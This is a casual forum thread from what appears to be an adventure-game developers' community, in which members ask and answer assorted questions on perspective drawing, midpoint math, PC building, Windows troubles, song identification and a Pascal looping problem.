I've personally never worked or been in cubicle hell, but from what I've seen in movies and tv shows, they are pieced together quite well.
Cubicles (http://www.executivesuitemanagement.com/locations/park_meadows_highlands_ranch/pics/cubicles-for-rent.jpg)
Title: Re: Ask something - We can help.
Post by: RickJ on Thu 14/01/2010 23:53:18
Quote
Is it safe for not-so weightly person to lean over cubicle wall and peek into another guy's computer?
If you take a look at Crimson's exam[ple you will see that the walls are only about 5ft tall.  People stick their heads over top to chat with their co-workers all the time.   It would be unusual for someone to climb up and lean over at waist height however I believe it wouldn't be a problem for the wall to hold the weight.   if it were me I would have the character kneeling/standing  on a desk, box or something.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Fri 15/01/2010 00:58:22
Quote from: RickJ on Thu 14/01/2010 23:53:18
If you take a look at Crimson's exam[ple
You mean Ryan's example, don't you :P

Quote from: RickJ on Thu 14/01/2010 23:53:18
you will see that the walls are only about 5ft tall.  People stick their heads over top to chat with their co-workers all the time.   It would be unusual for someone to climb up and lean over at waist height however I believe it wouldn't be a problem for the wall to hold the weight.   if it were me I would have the character kneeling/standing  on a desk, box or something.
Well, my idea she is not just chatting, she wants to see computer display, while standing almost opposite to one's surface.
However idea of getting kneels to the desk sounds natural enough. But even then I believe person will apply some of its weight on cubicle wall when bending over.
Title: Re: Ask something - We can help.
Post by: RickJ on Fri 15/01/2010 02:50:16
Quote from: Crimson Wizard on Fri 15/01/2010 00:58:22
Quote from: RickJ on Thu 14/01/2010 23:53:18
If you take a look at Crimson's exam[ple
You mean Ryan's example, don't you :P
Sorry being confused; I am just getting to be too old ;)  Hehehehe!  ;D

Quote
Well, my idea she is not just chatting, she wants to see computer display, while standing almost opposite to one's surface.
However idea of getting kneels to the desk sounds natural enough. But even then I believe person will apply some of its weight on cubicle wall when bending over.
I don't think the weight is a problem at all.  It could be a bit of a puzzle for the player to find something for her to climb up on.  It could be a chair, trash bucket, or even standing on the desk.  I think something like that would work just fine.
Title: Re: Ask something - We can help.
Post by: Gilbert on Fri 15/01/2010 05:14:50
It could also relate to what kind of materials that were used to make the cubicle divisions and how they're mounted.

For example in this old style office I'm working at this particular second, we have old cupboards and wooden boards made to divide our working space, so there's either a board or a cupboard between each two adjacent seats. Some of these boards are actually hanging loose mounted just by a few screws on the tables or cupboards.

We had a co-worker here who actually broke two boards by leaning on them (in each case, one screw which held one side of the board on the table was broken, making the board hanging loosely at that end). These damages are never fixed and we just use some useless scotch tapes to stick the boards back on the table and have since been careful not to touch them again.

But I'll expect modern implementations with better materials and mounting could be more sturdy.

In other words, there is no definitive answer.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Fri 15/01/2010 10:28:26
Hehe, thanks for sharing experience, Gilbet.
RickJ, the whole thing happen during cutscene, it isnt a puzzle at all.
Anyway, I think I got enough answers to make a decision, thanks :)
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 15/01/2010 13:59:28
Rather than trying to work out the physics of whether or not the cubicle would break... why not just get the character to take a chainsaw to it!
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 17/01/2010 02:20:41
(http://www.indrek.org/i/vector.png)

How to find xy coordinates of C?

* C has to be exactly in the middle of points A and B
* A and B could be anywhere on a 2D plane
* distance between A and B is fixed

Sounds like REALLY simple school maths... is there easier way than
C(x) = (B(x)-A(x))/2 + A(x)
C(y) = (B(y)-A(y))/2 + A(y)
?

Especially when B and A could switch places?
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sun 17/01/2010 02:42:47
It's:
(edit: an Image once went here..
I had linked an image from another website, but turns out I guess you can only view it if you're actually visiting or recently visited the site. the answer is below anyway. :P)
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 17/01/2010 02:45:20
 ???
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sun 17/01/2010 02:47:15
midpointX = ((A.x)+(B.x)) / 2
midpointY = ((A.y)+(B.y)) / 2

It's literally that simple. ;D
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 17/01/2010 03:21:01
*facepalm*   ;D
Title: Re: Ask something - We can help.
Post by: Chicky on Wed 20/01/2010 11:37:20
Is there a very simple low poly modeling program that is compatible with intel mac and the character3D plugin?
Title: Re: Ask something - We can help.
Post by: Wyz on Fri 22/01/2010 00:19:59
You could give Wings3d (http://www.wings3d.com/) a try. It's something one either hates or loves. :P
Title: Re: Ask something - We can help.
Post by: on Sun 24/01/2010 15:44:40
Ok, my turn.

I need a flashcard-like software. I don't know the exact word for what I'm searching actually, so let me explain with an example:

I'd like to have a software which prints on screen a sentence in a foreign language. Under it there's a form where I can type in the answer. Once I submit the sentence, a simple check is performed to see wheter the answer is correct or not.

I'd like to be able to add more sentences to the database / to have quizzes in both ways (from english to x-language and vice versa).

It seems easy enough to code in whatever-language-you-like, but it feels a waste of time if there's already something similar out there on the int3rnets.

Thanks in advance for nay help.
Title: Re: Ask something - We can help.
Post by: Wyz on Sun 24/01/2010 15:56:48
http://ichi2.net/anki/

next! ;)
Title: Re: Ask something - We can help.
Post by: on Sun 24/01/2010 16:02:20
Quote from: Wyz on Sun 24/01/2010 15:56:48
http://ichi2.net/anki/

next! ;)

Thanks Wyz, this is the usefullestestest^2 thread ever.
Title: Re: Ask something - We can help.
Post by: Atelier on Sun 24/01/2010 19:27:31
Just now the forums were down for me. It soon picked up again, but I was just wondering whether there is a back-up plan if, for some reason, the forums went down permanently?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 24/01/2010 19:31:24
Quote from: AtelierGames on Sun 24/01/2010 19:27:31
Just now the forums were down for me. It soon picked up again, but I was just wondering whether there is a back-up plan if, for some reason, the forums went down permanently?

Go to lookout point and flash your torch into the sky 3 times whilst wearing a single red rose in your lapel.

Someone will come for you.
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 25/01/2010 09:07:50
Quote from: AtelierGames on Sun 24/01/2010 19:27:31
Just now the forums were down for me. It soon picked up again, but I was just wondering whether there is a back-up plan if, for some reason, the forums went down permanently?

Yes, the wall on CJ's house. We gather there and write onto it. Moderators carry bucket of water and a soap.
Title: Re: Ask something - We can help.
Post by: Atelier on Mon 25/01/2010 09:46:11
But CJ told me off last time I wrote on his garden wall. It'll teach me to keep my distance next time... ::)

Joking of course. Although I love what you've done with your bedroom interior CJ.
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 25/01/2010 14:58:23
Quote from: AtelierGames on Mon 25/01/2010 09:46:11
But CJ told me off last time I wrote on his garden wall. It'll teach me to keep my distance next time... ::)

Joking of course. Although I love what you've done with your bedroom interior CJ.

That's because you were naked.  :-X
Title: Re: Ask something - We can help.
Post by: Atelier on Mon 25/01/2010 15:03:16
Edit for new message: How do I set the language that appears on my profile? I can see no field for it.
Title: Re: Ask something - We can help.
Post by: on Sun 07/02/2010 14:57:27
Yet another question:

I'm lookin for an out of print book. Title is "100 Dictation exercises on the Thousand most-frequently used Words", written by Reginald Dutton.

I can't find it nowhere on the net. Is there a site where I can kind of place an "ad" (like "I'm searching for this and that") and can be contacted if someone has the item I'm interested into?
I'm sure someone's bound to have it, they just don't know I'm willing to buy it!
Title: Re: Ask something - We can help.
Post by: on Sun 07/02/2010 17:56:17
Another one to add to the list, PC & video related:

Video files won't upload on youtube. Not had this problem before. All other uploading procedures are fine, ie FTP uploads, uploading photos to facebook. Videos used to upload fine but now my connection will upload maybe a meg at most and then nothing more, and the bar will stay in the same place and the upload never completes.

What could be wrong? Is there some settings in "internet options" i should have on/off? And what about Windows Firewall? You can't list websites as exceptions so what should I be looking for? Many thanks
Title: Re: Ask something - We can help.
Post by: Kweepa on Sun 07/02/2010 20:06:29
Quote from: bicilotti on Sun 07/02/2010 14:57:27
I'm lookin for an out of print book.
Amazingly, it's not available at abebooks.com, but you can "Place a Want" on that site and when a bookstore gets it they will let you know. Not quite what you asked for but it might work out.
Title: Re: Ask something - We can help.
Post by: on Sun 07/02/2010 20:31:13
Quote from: SteveMcCrea on Sun 07/02/2010 20:06:29
Not quite what you asked for but it might work out.

Done! Let's see if that helps!
Title: Re: Ask something - We can help.
Post by: IndieBoy on Sun 07/02/2010 20:38:08
Quote from: Mods on Sun 07/02/2010 17:56:17
Another one to add to the list, PC & video related:

Video files won't upload on youtube. Not had this problem before. All other uploading procedures are fine, ie FTP uploads, uploading photos to facebook. Videos used to upload fine but now my connection will upload maybe a meg at most and then nothing more, and the bar will stay in the same place and the upload never completes.

What could be wrong? Is there some settings in "internet options" i should have on/off? And what about Windows Firewall? You can't list websites as exceptions so what should I be looking for? Many thanks
Youtube has been rather buggy the last couple of weeks because of a major update.
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 12/02/2010 20:40:55
I asked about this on page 8, so sorry if I'm repeating things, but the problem was never resolved and now I really need to get my iPod working.

So yeh, basically my laptop doesn't recognise my iPod.
I have iTunes, my iPod is formatted for Windows and I've tried everything the Apple support site has to offer.
It must be a problem with my computer (backed up by the fact that my mobile phone doesn't talk to my computer either).

Any ideas from a Windows point of view? As I'm pretty sure everything Apple-related has been tried andseems to be in order...
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 17/02/2010 23:04:39
Quick question:

I remember a movie about angles attacking men, because God gave up on humans, so he's sending the angels to kill the woman to bear birth to humans' saviour. A fallen arch angel is fighting the ords of God.

What's the name of this movie please?
Title: Re: Ask something - We can help.
Post by: discordance on Wed 17/02/2010 23:08:10
Legion, perhaps? Just came out?
Title: Re: Ask something - We can help.
Post by: GarageGothic on Wed 17/02/2010 23:15:40
Was Christopher Walken in it? It sounds a bit like The Prophecy/God's Army (http://en.wikipedia.org/wiki/The_Prophecy).
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 18/02/2010 00:23:37
Yeah it's Legion.
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 18/02/2010 00:46:57
Sounds rubbish...
Title: Re: Ask something - We can help.
Post by: HammerBlade on Thu 18/02/2010 05:09:14
Here's one for you hardware savvy folks:

I'm attempting to build a computer from scratch, as I'm concerned my laptop is wanting to kick the bucket, and want more control over whether my computer fails on me.  So, I've done some Newegg shopping and compiled a list of parts I think I'll need.  The end-result computer should be able to do the following:

-Run Windows 7 Premium x64 (Might run Windows Vista Ultimate x64 instead if driver compatibility is easier that way)
-Internet browsing, E-Mail, etc.
-Music Composition, possibly music production
-General software/game programming
-Occasional gaming (Such as TF2, Garry's Mod, KOTOR)
-Preferrably cost around $400-$600


To build such a machine, I've gotten as far as finding these components, which seem to meet these needs:

Computer Case:  Thermaltake SopranoRS VG7000BWS Black SECC ATX Mid Tower Computer Case - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16811133046

Power Supply:  Thermaltake TR2 W0070RUC 430W ATX12V V2.2 Intel Core i7 Compliant Dual 80mm Fans Full Cable Sleevings Power Supply - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16817153023

Motherboard: ECS GeForce6100PM-M2(V3.0) AM3/AM2+/AM2 NVIDIA GeForce 6100 Micro ATX AMD Motherboard - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16813135246

Processor: AMD Athlon II X2 240 Regor 2.8GHz 2 x 1MB L2 Cache Socket AM3 65W Dual-Core Processor - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688

Video Card:  POWERCOLOR AX4350 1GBD2-H Radeon HD 4350 1GB 64-bit DDR2 PCI Express 2.0 x16 HDCP Ready CrossFireX Support Video Card - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16814131159

Sound Card: Creative Sound Blaster Audigy SE 7.1
http://www.newegg.com/Product/Product.aspx?Item=N82E16829102012

Memory:  G.SKILL 4GB (2 x 2GB) 240-Pin DDR2 SDRAM DDR2 800 (PC2 6400) Dual Channel Kit Desktop Memory Model F2-6400CL6D-4GBMQ - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16820231112

Hard Drive: Seagate Barracuda 7200.12 ST3160318AS 160GB 7200 RPM 8MB Cache SATA 3.0Gb/s 3.5" Internal Hard Drive -Bare Drive
http://www.newegg.com/Product/Product.aspx?Item=N82E16822148511


My main concerns are the following:

-Should the on-board NIC on the motherboard be sufficient for plugging the computer directly into a modem (specifically an Actiontec M1000, if that helps)?  Would it be better to invest in an actual NIC instead?  If so, what comes well recommended?

-I noticed that the power supply is "Intel Core i7 Compliant".  Since I'm using an AMD processor and not an Intel processor, should I be concerned about this?

Any advice is greatly appreciated!  ;D
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 18/02/2010 18:11:38
Legion it is!

Thank you guys!
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sun 21/02/2010 16:11:35
Just a quick question on perspective:

Does this sketch look okay?
(http://www.2dadventure.com/ags/bakgrund4png.PNG)

Something about it strikes me as odd, and since this is my first time using two "perspective-points" I want to be sure I'm doing it correctly.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sun 21/02/2010 16:18:33
The vanishing points are too close to each other giving the image that fish eye lens look.  With two vanishing points, they have to be off the canvas and further apart.  There is probably math and stuff to figure out exactly how to determine where your vanishing points should be placed, but I just guess.

The easiest way to notice that this image is wrong with perspective is the bottom corner.  Try looking at a 90 degree corner of something, like a dvd/cd case and notice how the angle never gets as tight as this angle.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sun 21/02/2010 18:30:11
Thank you Ryan! Of course that's the problem.. I've been reflecting over this and I assume this is how it is:
Where you stand the lines drawn from the vanishing points to the vertical line in the midpoint of the two vanishing points must be 90 degrees, and in my room that is just not true.

It's a good thing I only worked on it for 10mins before noticing something was up :P Thanks again!
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sun 21/02/2010 22:18:11
Quotemidpoint of the two vanishing points must be 90 degrees
It should only be 90 degree if it's being viewed as a flat surface (from top, looking down).  Any viewing angle beyond that will change the viewed angle of those two intersecting lines.  The lower the camera is to the ground, the larger the angle will be.

Like I mentioned earlier, look at cd case from the side and pretend it's the floor of your room.  Tilt the cd case and you'll see how if the camera changes height, it will affect the angles.  But as for the true method to finding out where to place your vanishing points, I've never bothered to find out, I've always guessed it for what I felt looked realistic.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Mon 22/02/2010 09:55:50
Quote from: Ryan Timothy on Sun 21/02/2010 22:18:11
Quotemidpoint of the two vanishing points must be 90 degrees
It should only be 90 degree if it's being viewed as a flat surface (from top, looking down).  Any viewing angle beyond that will change the viewed angle of those two intersecting lines.  The lower the camera is to the ground, the larger the angle will be.

Like I mentioned earlier, look at cd case from the side and pretend it's the floor of your room.  Tilt the cd case and you'll see how if the camera changes height, it will affect the angles.  But as for the true method to finding out where to place your vanishing points, I've never bothered to find out, I've always guessed it for what I felt looked realistic.
You misunderstood me, I didn't say it's 90 degrees at the corner but it's 90 degrees where you stand.
I did a few tests of this theory and it seems to stand up. I'll edit with a picture later.

EDIT:
(http://www.2dadventure.com/ags/examplebulbapuckexample.png)

If the marked angle is 90 degrees then that is where you stand. This is helpful because it means you can draw several things that aren't lined up perfectly.

Really ugly example:
(http://www.2dadventure.com/ags/examplebulbapuckexample2.png)

Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 24/02/2010 01:06:32
Ahh you're correct about the 90 degree.  But the better method is to use a circle.

(http://www.handprint.com/HP/WCL/IMG/LPR/perspec4a.gif)

This one pretty much shows that it'll be 90 degrees from the intersection line to the circle.  Cool stuff.
(http://www.handprint.com/HP/WCL/IMG/LPR/thales.gif)

If the images don't show up, or you want to read the full crazy long article it's here:
http://www.handprint.com/HP/WCL/perspect3.html

It even explains how to choose the proper distance from the vanishing points to show proper viewing distance.
This for example is a cubic box which is 2 meters high (but obviously not scaling the cube to show distance, this is about perspective not depth):
(http://www.handprint.com/HP/WCL/IMG/LPR/recession.gif)
1st is viewed from 3 meters away.
2nd is viewed from 6 meters away.
3rd is viewed from 12 meters away.
4rth is viewed from 24 meters away.

The 4th (the flattened, far apart vanishing points) is mostly for telescopic lenses or something you'd see using binoculars looking at something far away.

And the bulgy 1st cube has close vanishing points which is a badly done perspective given the size of the cube and proximity of the vanishing points. It's something you'd see using a wide angled lens at a close distance. It's also the most common incorrectly done 2 point perspective people use on their backgrounds, like your first image or even the second one.

Interesting read if you've got the time, I've even read a few sections.
Title: Re: Ask something - We can help.
Post by: Tuomas on Wed 24/02/2010 01:19:08
So basically drawing a tiny tiny background you should draw a huge circle around it to make it look authentic? I mean, I know choosing 2 vanishing points can get tricky, but doing it like this, or anyway, would mean I'd have to have a huge image and only later on scale it to 320x200?
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 24/02/2010 01:35:29
Not really since resizing the image will only change the resolution of the image but the perspective would remain the same (unless what you meant to write was crop instead of scale).

You'd actually need a large canvas but with the same size background image.
Like how a draftsman uses a large table, but draws on a small sheet. ;)  

What I basically do in Photoshop is start out with 640x480.  Color the background to some light brown or something, then add to the canvas making it something like 2000x480 (if the horizon is inside the 480 height, but if it's higher or lower you'll need a higher vertical canvas too) and make sure the extra canvas is a different color to make the general area of the background easier to determine.

You could also do the perspective lines and decide how to crop it depending on the composition, rather than a predetermined location.

Edit: Basically what I mean is the lighter area may actually be your background area (320x240 or whatever) and the darker area will be the extra canvas used only for perspective lines.  And imagine that box being your room or whatever. :P
(http://www.bryvis.com/entertainment/other/agsf/perspective_canvas.png)
Title: Re: Ask something - We can help.
Post by: Tuomas on Wed 24/02/2010 02:38:35
What I meant, sorry for being hard to  understand :)
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Wed 24/02/2010 07:54:15
Thank you again Ryan :D I'll definitely give that a look.
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 24/02/2010 10:51:58
I'm having serious computer woes.
After having problems playing MystOnline someone suggested (among other things) making sure I had the latest Service Pack installed.  So I checked and I didn't, even though I usually update quite regularly.  So I went about installing SP" (Vista), and all seemed well, until I upon the next restart of my comupter, apparently the process hadn't finished... it was on stage 3 out of 3 at 69%, and stayed there for a very long time.

Perhaps this was normal, so after well over 2 hours of waiting for any change I decided to go to bed and leave it running.  Sure enough, when I awoke at about 5am this it seemed to have finished.  It was on the Vista welcome screen, asking me for my password.  It accepted my password, and then the screen went black, and a window came up asking  me to 'Activate Windows now' or 'Activate later'.. I clicked 'now'... and an error message came up telling me to reinstall Windows... something I'd rather not do if I can avoid it.

Then it crashed anyway, when I brought up the 'How do I reinstall Windows' help link.

So I restarted my computer, and guess what?  it went straight back to the installation screen saying it was on stage 3 out of 3, but this time it got stuck at 65%... I decided to leave it running, go back to bed and deal with it in the morning.

Morning came, sure enough, there it was again asking for my passwords, which it accepted, and sure enough the black screen came up asking me to 'Activate' Windows...  this time I clicked 'Later', which is why I'm able to use my computer...

The thing is, everything is working, an my computer even now has SP2 installed on it according to the System Information.  But the worrying thing is a) I clearly can't wait 2 or more hours every time I want to use my computer, and b) my wallpaper has disappeared, leaving a black background, with a little message in the corner saying "this copy of Windows is not genuine"... Well I assure you it IS genuine.  It's the very Windows that came bunged with my computer in the first place.

What do I do?
(Clearly the first thing you are thining is 'Reinstall Windows' but I'm woried about the consequences...  Will I lose everything?  I mean I have a lot of stuff backed up, and the means to back up anything that's not, but I'd really rather avoid the faffing about if there is a simpler solution I'm not aware of.)

Cheers.
Title: Re: Ask something - We can help.
Post by: Rincewind on Sun 28/02/2010 23:52:55
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Mon 01/03/2010 00:06:57
The Doors did a song called Riders on the storm, which might be the track that was sampled if thats any help.
Title: Re: Ask something - We can help.
Post by: Wyz on Mon 01/03/2010 00:29:10
@ Bulba: Few days ago I stumbled onto this tutorial (http://www.youtube.com/watch?v=eA9SZYK3ozw&feature=channel), I found it rather useful. :)
Title: Re: Ask something - We can help.
Post by: Haddas on Mon 01/03/2010 01:00:03
Quote from: Rincewind on Sun 28/02/2010 23:52:55
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...

Crap I remember that. For some reason I remember cowboys aswell. I've been trying to find it ever since.
Title: Re: Ask something - We can help.
Post by: Adrian   on Mon 01/03/2010 01:30:09
Quote from: Stupot on Wed 24/02/2010 10:51:58
I'm having serious computer woes.
After having problems playing MystOnline someone suggested (among other things) making sure I had the latest Service Pack installed.  So I checked and I didn't, even though I usually update quite regularly.  So I went about installing SP" (Vista), and all seemed well, until I upon the next restart of my comupter, apparently the process hadn't finished... it was on stage 3 out of 3 at 69%, and stayed there for a very long time.

Perhaps this was normal, so after well over 2 hours of waiting for any change I decided to go to bed and leave it running.  Sure enough, when I awoke at about 5am this it seemed to have finished.  It was on the Vista welcome screen, asking me for my password.  It accepted my password, and then the screen went black, and a window came up asking  me to 'Activate Windows now' or 'Activate later'.. I clicked 'now'... and an error message came up telling me to reinstall Windows... something I'd rather not do if I can avoid it.

Then it crashed anyway, when I brought up the 'How do I reinstall Windows' help link.

So I restarted my computer, and guess what?  it went straight back to the installation screen saying it was on stage 3 out of 3, but this time it got stuck at 65%... I decided to leave it running, go back to bed and deal with it in the morning.

Morning came, sure enough, there it was again asking for my passwords, which it accepted, and sure enough the black screen came up asking me to 'Activate' Windows...  this time I clicked 'Later', which is why I'm able to use my computer...

The thing is, everything is working, an my computer even now has SP2 installed on it according to the System Information.  But the worrying thing is a) I clearly can't wait 2 or more hours every time I want to use my computer, and b) my wallpaper has disappeared, leaving a black background, with a little message in the corner saying "this copy of Windows is not genuine"... Well I assure you it IS genuine.  It's the very Windows that came bunged with my computer in the first place.

What do I do?
(Clearly the first thing you are thining is 'Reinstall Windows' but I'm woried about the consequences...  Will I lose everything?  I mean I have a lot of stuff backed up, and the means to back up anything that's not, but I'd really rather avoid the faffing about if there is a simpler solution I'm not aware of.)

Cheers.

I'd use the repair option with a vista install disc (if supplied) or get hold of windows 7 and perform a upgrade both should replace the system files, system restore is a option too if you have it enabled.
Title: Re: Ask something - We can help.
Post by: Jared on Mon 01/03/2010 05:20:31
Quote from: Rincewind on Sun 28/02/2010 23:52:55
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...

As Cailin says this is a cover/sampling of The Doors' 'Rider on the Storm'. The only dance-y remix I've heard is one by Puff Daddy, which was on the soundtrack for, IIRC, Need For Speed Underground. I remember that one being quite dance-y but I can't recall if there were additional lyrics.
Title: Re: Ask something - We can help.
Post by: GarageGothic on Mon 01/03/2010 06:32:25
Quote from: Jared on Mon 01/03/2010 05:20:31As Cailin says this is a cover/sampling of The Doors' 'Rider on the Storm'. The only dance-y remix I've heard is one by Puff Daddy, which was on the soundtrack for, IIRC, Need For Speed Underground. I remember that one being quite dance-y but I can't recall if there were additional lyrics.

It was Snoop Dogg (http://www.youtube.com/watch?v=0VAF-4Er7_A&feature=related) if you're thinking about Need for Speed Underground 2 (I playtested that game for two months, and boy was I sick of the soundtrack by the time we signed off on it). The music video Rincewind describes doesn't really sound like Snoop Dogg though, so it's most likely a different cover version.
Title: Re: Ask something - We can help.
Post by: Rincewind on Mon 01/03/2010 08:47:46
Appreciate the help, everybody, but no, as a Doors-fan I can say that it definitely wasn't "Riders on the Storm" it sampled, even though the lyrics are sort of similar. This sounded more like a cheesy lounge-singer-thingamabob rather than the Lizard King, if you get my drift. I'm pretty sure the lyrics were "[...]I see you riding on a storm[...]", and not "[...]Riders on the storm[...]", and the phrasing was different, too.

The overall mood of it was more that of a cheesy lounge act with a very subtle modern, electronic touch than a techno remix, if you get what I mean... It's really hard to describe it, especially since it was such a long time ago I heard it. Hah.

Haddas: Yeah, goddamnit, you're right! I think we're thinking of the same track, 'cos now that you mention it, I do think there were some cowboys in the video, too... Dancing cowboys, even? Damn, now I'm even more anxious to find this again...
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 01/03/2010 22:35:39
http://www.fullsongs.net/listen.php?name=Avalanche_-_Riding_On_A_Storm_(1989).mp3&source=wrzuta&url=t62XabuWw8ibk9-ql6_ThbuQemiZwsaVuqt1ppmovu6ohZ3Au7t_6lZtbMi5v3-foJmHu7q-aau5xJPo
Title: Re: Ask something - We can help.
Post by: Rincewind on Tue 02/03/2010 10:04:39
Stupot: Hehe, no, sorry, wasn't that one either, even though the lyrics did match. It was nice to hear some late-80's production values and drum machines, though! ;)
Title: Re: Ask something - We can help.
Post by: InCreator on Fri 05/03/2010 21:07:31
I ask and answer:

Q: Does video card baking really work?
A: YES IT DOES

Stuffing your VRAM-faulty, artifact-ridden video card into baking oven at 200C for 10 minutes WILL repair it and make it work like new. (I baked my 8800GTX for 7 minutes, thinking it's all some kind of a joke/tech myth) but lo and behold, it really DID work.

Q: Does it work twice?
A: O F**K YEAH
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sat 13/03/2010 16:38:32
Um... does anyone know how sidewalks looked like in Europe of XIX century? Were they paved or already made from asphalt sometimes?
Also if anyone can link a good  mid-late XIX century photograph or painting of street with sidewalk clearly visible I'd be much grateful.
Title: Re: Ask something - We can help.
Post by: Anian on Sat 13/03/2010 16:49:25
Quote from: Crimson Wizard on Sat 13/03/2010 16:38:32
Um... does anyone know how sidewalks looked like in Europe of XIX century? Were they paved or already made from asphalt sometimes?
Also if anyone can link a good  mid-late XIX century photograph or painting of street with sidewalk clearly visible I'd be much grateful.
Search for daguerrotypes, it's the middle to late 19th century photography.
There is Paris http://z.about.com/d/inventors/1/0/u/3/1/Daguerreotype1839.jpg
And lots in N America http://www.zazzle.com/philadelphia_scene_daguerreotype_1842_poster-228230445527699125

Also try calotype, but since daguerrotype was the first process, they made lots of photos of 19th century cities and nature though they're veeery fragile so some photos might be low quality.
Additional info - late 18 century saw the invention of tyres so I guess paving started then, on the other hand I think streets in Paris were paved after the revolution so people can't pull out blocks and throw them.
Additional additional - movies like From hell, new Sherlock Holmes, Burton's Sleepy hollow etc.
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 23/03/2010 19:07:15
Is anyone here familiar with Pascal?
I'm using it for my Computational Linguistics course.  I'm okay with the stuff I've actually been taught and ned to know, but I'm trying to achieve something extra, just for neatness sake.

Basically the program asks the user to input a string of characters and then checks the string against a given 'language' and then accepts or rejects it accordingly.

I've achieved that pretty easily, but the trouble is you have to re-run the program every time you want to try it.  I want the program to keep going back to the beginning whenever the string is rejected, with a message saying 'please try again' or something, and then get the program to stop once the user inputs an acceptable string.

Basically I need the program to keep looping until the currentstate is 'A' (accept).

Sounds like it should be easy, but if tried with IF, WHILE and REPEAT statements, and can't seem to get it to work...

Any ideas?  Below is the 'Main Program' of the script.  I'm pretty sure the commands I need will be inserted here somewhere, but I'm obviously doing something wrong.


{ *** Main Program *** }

begin

  write ('Input a string consisting of the symbols a, b, c, d, and e: ');
  readstring (string, stringlength);
  process (currentsymbol, currentstate, string, stringlength);

  if currentstate = 'A' then
    writeln ('String Accepted :-)');

  else
    writeln ('String Rejected :-(');

end.


If you think it would help to see the whole code, I can provide it, but I'm guessing it's not necessary.

Cheers guys.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Tue 23/03/2010 19:39:12
I believe I understand you correctly.  All you want is for it to repeat if currentstate != 'A'?

